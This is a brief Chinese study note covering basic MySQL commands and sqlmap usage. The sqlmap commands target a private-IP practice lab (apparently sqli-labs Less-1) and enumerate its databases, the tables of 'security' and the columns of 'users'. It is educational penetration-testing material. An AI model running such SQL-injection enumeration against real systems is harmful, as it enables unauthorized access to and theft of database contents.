1.mysql常用语句讲解,和基本操作预习
(1)mysql -uroot -ppw
(2)show databases;
(3)use db;
(4)show tables;
(5)select * from user;
(6)select * from user where id =1;
增
insert into
删
改
查
select
2.sqlmap的基本使用预习
python2 sqlmap.py -u ‘http://192.168.37.130/Less-1/index.php?id=1’
python3 sqlmap.py -u ‘http://192.168.37.130/Less-1/index.php?id=1’
sqlmap.py -u ‘http://192.168.37.130/Less-1/index.php?id=1’
sqlmap -u ‘http://192.168.37.130/Less-1/index.php?id=1’
sqlmap -u http://192.168.37.130/Less-1/index.php?id=1
sqlmap -u ‘http://192.168.37.130/Less-1/index.php?id=1’ --current-db 查询当前使用的数据库
sqlmap -u ‘http://192.168.37.130/Less-1/index.php?id=1’ --dbs 查询所有数据库
sqlmap -u ‘http://192.168.37.130/Less-1/index.php?id=1’ -D security -tables
sqlmap -u ‘http://192.168.37.130/Less-1/index.php?id=1’ -D security -T users --columns